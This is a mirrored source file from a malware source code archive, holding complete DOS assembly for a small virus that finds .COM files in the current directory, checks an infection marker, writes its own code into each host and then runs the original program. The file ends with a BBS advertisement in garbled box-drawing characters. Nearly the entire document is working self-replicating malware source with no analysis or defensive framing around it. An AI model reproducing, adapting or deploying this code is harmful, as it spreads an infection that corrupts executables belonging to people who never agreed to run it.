mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 16:38:38 +00:00
64 lines
2.6 KiB
NASM
64 lines
2.6 KiB
NASM
tic segment
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org 100h
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assume cs:tic, ds:tic, es:tic
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;
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len equ offset last-100h ;LENGTH OF VIRUS CODE
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;
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start: mov bx,0fh ;KLUDGE TO AVOID MEMALLOC ERROR
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mov ah,4ah
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int 21h
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mov dx,es
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add dh,10h
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mov es,dx ;PROGRAM CODE WILL RUN HERE
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push dx ;SET UP FOR FAR RETURN
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push si
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mov ah,26h ;CREATE NEW PSP
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int 21h
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mov di,si
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mov si,offset last
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push si
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mov ch,0feh
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rep movsb ;MOVE PROGRAM CODE UP
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dec cx ;=FFFF
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pop di
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mov dx,offset file
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mov ah,4eh ;FIND FIRST .COM FILE
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jmp short find
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retry: mov ah,4fh ;FIND NEXT
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find: int 21h
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jc nofile ;NO (MORE) FILES
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mov dx,9eh ;FILE NAME IN DTA
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mov ax,3d02h ;OPEN FILE
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int 21h
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xchg ax,bx ;1-BYTE MOVE OF AXBX
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mov dx,di ;END OF VIRUS CODE
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mov ah,3fh ;READ FILE DATA (CX=FFFF)
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int 21h ;READ FILE AFTER VIRUS CODE
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add ax,len ;LENGTH OF VIRUS+FILE
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cmp byte ptr [di],0bbh ;CHECK IF ALREADY INFECTED
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je retry ;TRY AGAIN
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push ax
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xor cx,cx
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mov ax,4200h ;RESET FILE POINTER
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cwd ;DX=0
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int 21h
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pop cx
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mov dh,1
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mov ah,40h ;WRITE INFECTED CODE BACK
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int 21h
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;
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nofile: push es ;GO RUN PROGRAM
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pop ds
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retf
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;
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file db '*.COM',0 ;SEARCH FOR .COM FILES
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last db 0c3h ;STANDALONE VIRUS CODE JUST RETURNS
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tic ends
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end start
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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